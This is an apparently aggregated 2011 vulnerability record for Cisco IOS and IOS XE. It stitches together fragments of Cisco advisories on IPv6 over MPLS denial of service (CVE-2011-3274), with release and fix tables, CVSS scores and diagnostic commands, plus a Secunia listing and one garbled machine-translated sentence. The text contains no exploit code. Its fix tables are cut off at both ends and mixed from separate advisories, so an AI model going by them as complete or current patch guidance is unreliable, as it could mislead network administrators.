12.2YP | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2YQ | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2YR | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2YS | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2YT | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2YU | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2YV | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2YW | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2YX | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2YY | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2YZ | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | 12.2ZA | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.2SXF | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2ZB | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | 12.2ZC | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2ZD | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2ZE | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.4 | |------------+--------------------+--------------------------| | 12.2ZF | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.4 | |------------+--------------------+--------------------------| | 12.2ZG | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2ZH | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.4 | |------------+--------------------+--------------------------| | 12.2ZJ | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2ZL | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | 12.2ZP | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.2ZU | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.2SXH | |------------+--------------------+--------------------------| | 12.2ZX | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2ZY | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.2ZYA | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | Affected | | First Fixed Release for | | 12.3-Based | First Fixed | All Advisories in the | | Releases | Release | September 2011 Bundled | | | | Publication | |------------------------------------------------------------| | There are no affected 12.3 based releases | |------------------------------------------------------------| | Affected | | First Fixed Release for | | 12.4-Based | First Fixed | All Advisories in the | | Releases | Release | September 2011 Bundled | | | | Publication | |------------+--------------------+--------------------------| | 12.4 | Not vulnerable | 12.4(25f) | |------------+--------------------+--------------------------| | 12.4GC | 12.4(24)GC4 | 12.4(24)GC4 | |------------+--------------------+--------------------------| | 12.4JA | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.4JAX | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.4JDA | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.4JDC | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.4JHA | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.4JHB | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.4JHC | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.4JK | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.4JL | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.4JMA | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.4JMB | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | | | Vulnerable; migrate to | | | | any release in 12.4JA | | 12.4JX | Not vulnerable | | | | | Releases up to and | | | | including 12.4(21a)JX | | | | are not vulnerable. | |------------+--------------------+--------------------------| | 12.4JY | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.4MD | Not vulnerable | 12.4(24)MD6 on | | | | 28-Oct-2011 | |------------+--------------------+--------------------------| | 12.4MDA | Not vulnerable | 12.4(24)MDA7 | |------------+--------------------+--------------------------| | 12.4MDB | Not vulnerable | 12.4(24)MDB3 | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.4MR | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.4MRA | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | 12.4MRB | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.4T | |------------+--------------------+--------------------------| | 12.4SW | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | | Only 12.4(24)T | | | | through 12.4(24)T4 | 12.4(24)T6 | | 12.4T | are affected; | | | | first fixed in | 12.4(15)T16 | | | 12.4(24)T3c and | | | | 12.4(24)T5 | | |------------+--------------------+--------------------------| | 12.4XA | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.4T | |------------+--------------------+--------------------------| | 12.4XB | Not vulnerable | 12.4(2)XB12 | |------------+--------------------+--------------------------| | 12.4XC | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.4XD | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.4T | |------------+--------------------+--------------------------| | 12.4XE | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.4XF | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.4T | |------------+--------------------+--------------------------| | 12.4XG | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.4T | |------------+--------------------+--------------------------| | 12.4XJ | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.4XK | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.4XL | Not vulnerable | the instructions in | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | 12.4XM | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.4T | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.4XN | Not vulnerable | the instructions in | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.4XP | Not vulnerable | the instructions in | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | 12.4XQ | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.4T | |------------+--------------------+--------------------------| | 12.4XR | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.4T | |------------+--------------------+--------------------------| | 12.4XT | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.4T | |------------+--------------------+--------------------------| | 12.4XV | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | 12.4XW | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.4T | |------------+--------------------+--------------------------| | 12.4XY | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.4T | |------------+--------------------+--------------------------| | 12.4XZ | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.4T | |------------+--------------------+--------------------------| | 12.4YA | Not vulnerable | Vulnerable; First fixed | | | | in Release 12.4T | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.4YB | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.4YD | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | | | Vulnerable; fixed in | | | | 12.4(22)YE6 on | | 12.4YE | Not vulnerable | 30-Sept-2011; 12.4(24) | | | | YE7 available on | | | | 17-Oct-2011 | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 12.4YG | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | Affected | | First Fixed Release for | | 15.0-Based | First Fixed | All Advisories in the | | Releases | Release | September 2011 Bundled | | | | Publication | |------------+--------------------+--------------------------| | 15.0M | 15.0(1)M5 | 15.0(1)M7 | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 15.0MR | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 15.0MRA | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | | Not vulnerable | 15.0(1)S4 | | | | | | 15.0S | Cisco IOS XE | Cisco IOS XE devices: | | | devices: see Cisco | see Cisco IOS-XE | | | IOS-XE Software | Software Availability | | | Availability | | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 15.0SA | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | 15.0SE | Not vulnerable | Not vulnerable | |------------+--------------------+--------------------------| | | Cisco IOS XE | Cisco IOS XE devices: | | 15.0SG | devices: see Cisco | see Cisco IOS-XE | | | IOS-XE Software | Software Availability | | | Availability | | |------------+--------------------+--------------------------| | | Vulnerable; First | Vulnerable; First fixed | | 15.0XA | fixed in Release | in Release 15.1T | | | 15.1T | | |------------+--------------------+--------------------------| | | Cisco IOS XE | | | | devices: Please | Cisco IOS XE devices: | | 15.0XO | see Cisco IOS-XE | Please see Cisco IOS-XE | | | Software | Software Availability | | | Availability | | |------------+--------------------+--------------------------| | Affected | | First Fixed Release for | | 15.1-Based | First Fixed | All Advisories in the | | Releases | Release | September 2011 Bundled | | | | Publication | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 15.1EY | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | 15.1GC | Not vulnerable | Vulnerable; First fixed | | | | in Release 15.1T | |------------+--------------------+--------------------------| | 15.1M | Not vulnerable | 15.1(4)M2; Available on | | | | 30-SEP-11 | |------------+--------------------+--------------------------| | | | Vulnerable; contact your | | | | support organization per | | 15.1MR | Not vulnerable | the instructions in the | | | | Obtaining Fixed Software | | | | section of this | | | | advisory. | |------------+--------------------+--------------------------| | | Not vulnerable | 15.1(2)S2 | | | | | | | Cisco IOS XE | 15.1(3)S | | 15.1S | devices: See Cisco | | | | IOS-XE Software | Cisco IOS XE devices: | | | Availability | See Cisco IOS-XE | | | | Software Availability | |------------+--------------------+--------------------------| | | 15.1(1)T3 | | | | | 15.1(2)T4 15.1(1)T4 on | | 15.1T | 15.1(2)T3 | 8-Dec-2011 | | | | | | | 15.1(3)T1 | | |------------+--------------------+--------------------------| | | Vulnerable; First | Vulnerable; First fixed | | 15.1XB | fixed in Release | in Release 15.1T | | | 15.1T | | |------------+--------------------+--------------------------| | Affected | | First Fixed Release for | | 15.2-Based | First Fixed | All Advisories in the | | Releases | Release | September 2011 Bundled | | | | Publication | |------------------------------------------------------------| | There are no affected 15.2 based releases | +------------------------------------------------------------+ Cisco IOS XE Software +-------------------- +------------------------------------------------------------+ | Cisco | First | First Fixed Release for All | | IOS XE | Fixed | Advisories in the September 2011 | | Release | Release | Bundled Publication | |----------+------------+------------------------------------| | 2.1.x | Not | Vulnerable; migrate to 3.3.2S or | | | vulnerable | later | |----------+------------+------------------------------------| | 2.2.x | Not | Vulnerable; migrate to 3.3.2S or | | | vulnerable | later | |----------+------------+------------------------------------| | 2.3.x | Not | Vulnerable; migrate to 3.3.2S or | | | vulnerable | later | |----------+------------+------------------------------------| | 2.4.x | Not | Vulnerable; migrate to 3.3.2S or | | | vulnerable | later | |----------+------------+------------------------------------| | 2.5.x | Not | Vulnerable; migrate to 3.3.2S or | | | vulnerable | later | |----------+------------+------------------------------------| | 2.6.x | Not | Vulnerable; migrate to 3.3.2S or | | | vulnerable | later | |----------+------------+------------------------------------| | 3.1.xS | Not | Vulnerable; migrate to 3.3.2S or | | | vulnerable | later | |----------+------------+------------------------------------| | 3.1.xSG | Not | Vulnerable; migrate to 3.2.0SG or | | | vulnerable | later | |----------+------------+------------------------------------| | 3.2.xS | Not | Vulnerable; migrate to 3.3.2S or | | | vulnerable | later | |----------+------------+------------------------------------| | 3.2.xSG | Not | Not vulnerable | | | vulnerable | | |----------+------------+------------------------------------| | 3.3.xS | Not | 3.3.2S | | | vulnerable | | |----------+------------+------------------------------------| | 3.4.xS | Not | Not vulnerable | | | vulnerable | | +------------------------------------------------------------+ For mapping of Cisco IOS XE to Cisco IOS releases, please refer to the Cisco IOS XE 2 Release Notes, Cisco IOS XE 3S Release Notes, and Cisco IOS XE 3SG Release Notes. Cisco IOS XR Software +-------------------- Cisco IOS XR Software is not affected by any of the vulnerabilities in the September 2011 bundled publication. Workarounds =========== There are no workarounds for this vulnerability if IPv6 configuration is required. Obtaining Fixed Software ======================== Cisco has released free software updates that address this vulnerability. Prior to deploying software, customers should consult their maintenance provider or check the software for feature set compatibility and known issues specific to their environment. Customers may only install and expect support for the feature sets they have purchased. By installing, downloading, accessing or otherwise using such software upgrades, customers agree to be bound by the terms of Cisco's software license terms found at http://www.cisco.com/en/US/docs/general/warranty/English/EU1KEN_.html, or as otherwise set forth at Cisco.com Downloads at http://www.cisco.com/public/sw-center/sw-usingswc.shtml. Do not contact psirt@cisco.com or security-alert@cisco.com for software upgrades. Customers with Service Contracts +------------------------------- Customers with contracts should obtain upgraded software through their regular update channels. For most customers, this means that upgrades should be obtained through the Software Center on Cisco's worldwide website at http://www.cisco.com. Customers using Third Party Support Organizations +------------------------------------------------ Customers whose Cisco products are provided or maintained through prior or existing agreements with third-party support organizations, such as Cisco Partners, authorized resellers, or service providers should contact that support organization for guidance and assistance with the appropriate course of action in regards to this advisory. The effectiveness of any workaround or fix is dependent on specific customer situations, such as product mix, network topology, traffic behavior, and organizational mission. Due to the variety of affected products and releases, customers should consult with their service provider or support organization to ensure any applied workaround or fix is the most appropriate for use in the intended network before it is deployed. Customers without Service Contracts +---------------------------------- Customers who purchase direct from Cisco but do not hold a Cisco service contract, and customers who purchase through third-party vendors but are unsuccessful in obtaining fixed software through their point of sale should acquire upgrades by contacting the Cisco Technical Assistance Center (TAC). TAC contacts are as follows. * +1 800 553 2447 (toll free from within North America) * +1 408 526 7209 (toll call from anywhere in the world) * e-mail: tac@cisco.com Customers should have their product serial number available and be prepared to give the URL of this notice as evidence of entitlement to a free upgrade. Free upgrades for non-contract customers must be requested through the TAC. Refer to http://www.cisco.com/en/US/support/tsd_cisco_worldwide_contacts.html for additional TAC contact information, including localized telephone numbers, and instructions and e-mail addresses for use in various languages. Exploitation and Public Announcements ===================================== The Cisco PSIRT is not aware of any public announcements or malicious use of the vulnerability that is described in this advisory. This vulnerability was discovered by Cisco during internal testing. Status of this Notice: FINAL ============================ THIS DOCUMENT IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY ANY KIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. YOUR USE OF THE INFORMATION ON THE DOCUMENT OR MATERIALS LINKED FROM THE DOCUMENT IS AT YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS DOCUMENT AT ANY TIME. A stand-alone copy or Paraphrase of the text of this document that omits the distribution URL in the following section is an uncontrolled copy, and may lack important information or contain factual errors. Distribution ============ This advisory is posted on Cisco's worldwide website at: http://www.cisco.com/warp/public/707/cisco-sa-20110928-ipv6.shtml In addition to worldwide web posting, a text version of this notice is clear-signed with the Cisco PSIRT PGP key and is posted to the following e-mail and Usenet news recipients. * cust-security-announce@cisco.com * first-bulletins@lists.first.org * bugtraq@securityfocus.com * vulnwatch@vulnwatch.org * cisco@spot.colorado.edu * cisco-nsp@puck.nether.net * full-disclosure@lists.grok.org.uk * comp.dcom.sys.cisco@newsgate.cisco.com Future updates of this advisory, if any, will be placed on Cisco's worldwide website, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the above URL for any updates. Revision History ================ +------------------------------------------------------------+ | Revision 1.0 | 2011-September-28 | Initial public release. | +------------------------------------------------------------+ Cisco Security Procedures ========================= Complete information on reporting security vulnerabilities in Cisco products, obtaining assistance with security incidents, and registering to receive security information from Cisco, is available on Cisco's worldwide website at http://www.cisco.com/en/US/products/products_security_vulnerability_policy.html. This includes instructions for press inquiries regarding Cisco security notices. All Cisco security advisories are available at http://www.cisco.com/go/psirt. +-------------------------------------------------------------------- Copyright 2010-2011 Cisco Systems, Inc. All rights reserved. +-------------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.11 (GNU/Linux) iF4EAREIAAYFAk6Cp2UACgkQQXnnBKKRMNDOnwD/dwZvi6wHRpTsYyfLbLrCfyOs 8+WevPYlJBddySoqwHYA/14o6NuZ2rculYMYCusovUgM/SZf3N+euXWs897W6V5M =uQiZ -----END PGP SIGNATURE-----

Unspecified vulnerability in Cisco IOS 12.2SRE before 12.2(33)SRE4, 15.0, and 15.1, and IOS XE 2.1.x through 3.3.x, when an MPLS domain is configured, allows remote attackers to cause a denial of service (device crash) via a crafted IPv6 packet, related to an expired MPLS TTL, aka Bug ID CSCto07919. The problem is Bug ID CSCto07919 It is a problem.Skillfully crafted by a third party IPv6 Service disruption via packets ( Device crash ) There is a possibility of being put into a state. Cisco IOS is prone to multiple remote denial-of-service vulnerabilities. An attacker can exploit these issues to cause an affected device to reload, denying service to legitimate users. These issues are being tracked by Cisco Bug IDs: CSCto07919 CSCtj30155. ---------------------------------------------------------------------- Ovum says ad hoc tools are out-dated. The best practice approach? Fast vulnerability intelligence, threat handling, and setup in one tool. Read the new report on the Secunia VIM: http://secunia.com/products/corporate/vim/ovum_2011_request/ ---------------------------------------------------------------------- TITLE: Cisco IOS MPLS IPv6 and ICMPv6 Packet Processing Two Denial of Service Vulnerabilities SECUNIA ADVISORY ID: SA46145 VERIFY ADVISORY: Secunia.com http://secunia.com/advisories/46145/ Customer Area (Credentials Required) https://ca.secunia.com/?page=viewadvisory&vuln_id=46145 RELEASE DATE: 2011-10-31 DISCUSS ADVISORY: http://secunia.com/advisories/46145/#comments AVAILABLE ON SITE AND IN CUSTOMER AREA: * Last Update * Popularity * Comments * Criticality Level * Impact * Where * Solution Status * Operating System / Software * CVE Reference(s) http://secunia.com/advisories/46145/ ONLY AVAILABLE IN CUSTOMER AREA: * Authentication Level * Report Reliability * Secunia PoC * Secunia Analysis * Systems Affected * Approve Distribution * Remediation Status * Secunia CVSS Score * CVSS https://ca.secunia.com/?page=viewadvisory&vuln_id=46145 ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI: * AUTOMATED SCANNING http://secunia.com/vulnerability_scanning/personal/ http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/ DESCRIPTION: Two vulnerabilities have been reported in Cisco IOS, which can be exploited by malicious people to cause a DoS (Denial of Service). Please see the vendor's advisory for a list of affected versions. SOLUTION: Update to a fixed version (please see the vendor's advisory for details). PROVIDED AND/OR DISCOVERED BY: Reported by the vendor. ORIGINAL ADVISORY: http://www.cisco.com/warp/public/707/cisco-sa-20110928-ipv6mpls.shtml OTHER REFERENCES: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ DEEP LINKS: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXTENDED DESCRIPTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXTENDED SOLUTION: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ EXPLOIT: Further details available in Customer Area: http://secunia.com/vulnerability_intelligence/ ---------------------------------------------------------------------- About: This Advisory was delivered by Secunia as a free service to help private users keeping their systems up to date against the latest vulnerabilities. Subscribe: http://secunia.com/advisories/secunia_security_advisories/ Definitions: (Criticality, Where etc.) http://secunia.com/advisories/about_secunia_advisories/ Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor. For more information: SA46145 The vulnerabilities are reported in versions 2.1.x through 2.6.x and 3.2.xS. These vulnerabilities are: * Crafted IPv6 Packet May Cause MPLS-Configured Device to Reload * ICMPv6 Packet May Cause MPLS-Configured Device to Reload Cisco has released free software updates that address these vulnerabilities. Workarounds that mitigate these vulnerabilities are available. This advisory is posted at http://www.cisco.com/warp/public/707/cisco-sa-20110928-ipv6mpls.shtml. Note: The September 28, 2011, Cisco IOS Software Security Advisory bundled publication includes ten Cisco Security Advisories. Each advisory lists the Cisco IOS Software releases that correct the vulnerability or vulnerabilities detailed in the advisory as well as the Cisco IOS Software releases that correct all vulnerabilities in the September 2011 Bundled Publication. Individual publication links are in "Cisco Event Response: Semiannual Cisco IOS Software Security Advisory Bundled Publication" at the following link: http://www.cisco.com/web/about/security/intelligence/Cisco_ERP_sep11.html Affected Products ================= Vulnerable Products +------------------ Cisco IOS Software or Cisco IOS XE Software devices (hereafter both referenced as Cisco IOS Software in this document) that are running vulnerable versions of Cisco IOS Software and configured for MPLS are affected by two vulnerabilities related to IPv6 traffic that traverses an MPLS domain. The two vulnerabilities are independent of each other. Note: IPv6 does not need to be configured on the affected devices themselves. The vulnerabilities do require the MPLS label switched packets to have specific IPv6 payloads to be exploited. To determine whether a device is configured for MPLS, log in to the device and issue the command-line interface (CLI) command "show mpls interface". If the IP state is "Yes", the device is vulnerable. The following example shows a device that has MPLS configured on interface Ethernet0/0: Router#show mpls interface Interface IP Tunnel BGP Static Operational Ethernet0/0 Yes (ldp) No No No Yes Router# The following two examples show responses from a device with MPLS forwarding disabled. The first example shows a return of no interfaces: router#show mpls interface Interface IP Tunnel BGP Static Operational routers# In the second example, the device provides a message indicating that MPLS forwarding is not configured: router#show mpls interface no MPLS apps enabled or MPLS not enabled on any interfaces router# To determine the Cisco IOS Software release that is running on a Cisco product, administrators can log in to the device and issue the "show version" command to display the system banner. The system banner confirms that the device is running Cisco IOS Software by displaying text similar to "Cisco Internetwork Operating System Software" or "Cisco IOS Software." The image name displays in parentheses, followed by "Version" and the Cisco IOS Software release name. Other Cisco devices do not have the "show version" command or may provide different output. The following example identifies a Cisco product that is running Cisco IOS Software Release 15.0(1)M1 with an installed image name of C3900-UNIVERSALK9-M: Router> show version Cisco IOS Software, C3900 Software (C3900-UNIVERSALK9-M), Version 15.0(1)M1, RELEASE SOFTWARE (fc1) Technical Support: http://www.cisco.com/techsupport Copyright (c) 1986-2009 by Cisco Systems, Inc. Compiled Wed 02-Dec-09 17:17 by prod_rel_team !--- output truncated Additional information about Cisco IOS Software release naming conventions is available in the white paper Cisco IOS and NX-OS Software Reference Guide at http://www.cisco.com/web/about/security/intelligence/ios-ref.html. Products Confirmed Not Vulnerable +-------------------------------- Devices that are not configured for MPLS are not vulnerable. Details ======= The packet handling nodes in an MPLS network are called provider routers (P routers) and provider edge routers (PE routers) and are configured with MPLS. Both P and PE routers are vulnerable to both the vulnerabilities disclosed in this advisory. In networks that have MPLS enabled and could carry MPLS label switched packets with IPv6 payloads, the device may crash when processing MPLS label switched packets with specific IPv6 payloads. Typical deployment scenarios that would be affected by either vulnerability would be Cisco IPv6 Provider Edge Router (6PE) or IPv6 VPN Provider Edge Router (6VPE). The crafted packet used to exploit this vulnerability would be silently discarded in Cisco IOS Software if received on an interface where the packet did not have an MPLS label. This vulnerability is documented in Cisco bug ID CSCto07919 and has been assigned Common Vulnerabilities and Exposures (CVE) ID CVE-2011-3274. The packet used to exploit this vulnerability would not affect Cisco IOS Software if received on an interface where the packet did not have an MPLS label. Vulnerability Scoring Details ============================= Cisco has provided scores for the vulnerabilities in this advisory based on the Common Vulnerability Scoring System (CVSS). The CVSS scoring in this Security Advisory is done in accordance with CVSS version 2.0. CVSS is a standards-based scoring method that conveys vulnerability severity and helps determine urgency and priority of response. Cisco has provided a base and temporal score. Customers can then compute environmental scores to assist in determining the impact of the vulnerability in individual networks. Cisco has provided an FAQ to answer additional questions regarding CVSS at: http://www.cisco.com/web/about/security/intelligence/cvss-qandas.html Cisco has also provided a CVSS calculator to help compute the environmental impact for individual networks at: http://intellishield.cisco.com/security/alertmanager/cvss * CSCto07919 ("Crafted IPv6 packet may cause MPLS configured device to reload") CVSS Base Score - 6.1 Access Vector - Adjacent Network Access Complexity - Low Authentication - None Confidentiality Impact - None Integrity Impact - None Availability Impact - Complete CVSS Temporal Score - 5.0 Exploitability - Functional Remediation Level - Official-Fix Report Confidence - Confirmed * CSCtj30155 ("ICMPv6 packet may cause MPLS configured device to reload") CVSS Base Score - 7.8 Access Vector - Network Access Complexity - Low Authentication - None Confidentiality Impact - None Integrity Impact - None Availability Impact - Complete CVSS Temporal Score - 6.4 Exploitability - Functional Remediation Level - Official-Fix Report Confidence - Confirmed Impact ====== Successful exploitation of these vulnerabilities may cause the device to reload. Repeated exploitation could result in a sustained denial of service condition. Software Versions and Fixes =========================== When considering software upgrades, also consult http://www.cisco.com/go/psirt and any subsequent advisories to determine exposure and a complete upgrade solution. In all cases, customers should exercise caution to be certain the devices to be upgraded contain sufficient memory and that current hardware and software configurations will continue to be supported properly by the new release. If the information is not clear, contact the Cisco Technical Assistance Center (TAC) or your contracted maintenance provider for assistance. Additionally, the Cisco IOS Software Checker is available on the Cisco Security Intelligence Operations (SIO) portal at http://tools.cisco.com/security/center/selectIOSVersion.x. It provides several features for checking which Security Advisories affect specified versions of Cisco IOS Software. Cisco IOS Software +----------------- Each row of the following Cisco IOS Software table corresponds to a Cisco IOS Software train. If a particular train is vulnerable, the earliest releases that contain the fix are listed in the First Fixed Release For This Advisory column. The First Fixed Release for All Advisories in the September 2011 Bundled Publication column lists the earliest possible releases that correct all the published vulnerabilities in the Cisco IOS Software Security Advisory bundled publication. Cisco recommends upgrading to the latest available release, where possible. +------------------------------------------------------------+ | Major | Availability of Repaired Releases | | Release | | |------------+-----------------------------------------------| | Affected | | First Fixed Release | | 12.0-Based | First Fixed Release | for All Advisories in | | Releases | For This Advisory | the September 2011 | | | | Bundled Publication | |------------------------------------------------------------| | There are no affected 12.0-based releases | |------------------------------------------------------------| | Affected | | First Fixed Release | | 12.1-Based | First Fixed Release | for All Advisories in | | Releases | For This Advisory | the September 2011 | | | | Bundled Publication | |------------+-----------------------+-----------------------| | 12.1E | Not vulnerable | 12.2(18)SXF17b | |------------+-----------------------+-----------------------| | Affected | | First Fixed Release | | 12.2-Based | First Fixed Release | for All Advisories in | | Releases | For This Advisory | the September 2011 | | | | Bundled Publication | |------------+-----------------------+-----------------------| | 12.2 | Not vulnerable | Vulnerable; first | | | | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | 12.2B | Not vulnerable | Vulnerable; first | | | | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | 12.2BC | Not vulnerable | Vulnerable; first | | | | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | 12.2BW | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2BX | Not vulnerable | fixed in Release | | | | 12.2SB | |------------+-----------------------+-----------------------| | 12.2BY | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2BZ | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2CX | Not vulnerable | Vulnerable; first | | | | fixed in Release 12.4 | |------------+-----------------------+-----------------------| | 12.2CY | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | | Vulnerable; first | | 12.2CZ | Not vulnerable | fixed in Release | | | | 12.2SB | |------------+-----------------------+-----------------------| | 12.2DA | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2DD | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2DX | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | 12.2EU | Not vulnerable | Not vulnerable | |------------+-----------------------+-----------------------| | | | Releases up to and | | 12.2EW | Not vulnerable | including 12.2(20)EW4 | | | | are not vulnerable. | |------------+-----------------------+-----------------------| | | | Vulnerable; contact | | | | your support | | | | organization per the | | 12.2EWA | Not vulnerable | instructions in the | | | | Obtaining Fixed | | | | Software section of | | | | this advisory. | |------------+-----------------------+-----------------------| | 12.2EX | Not vulnerable | 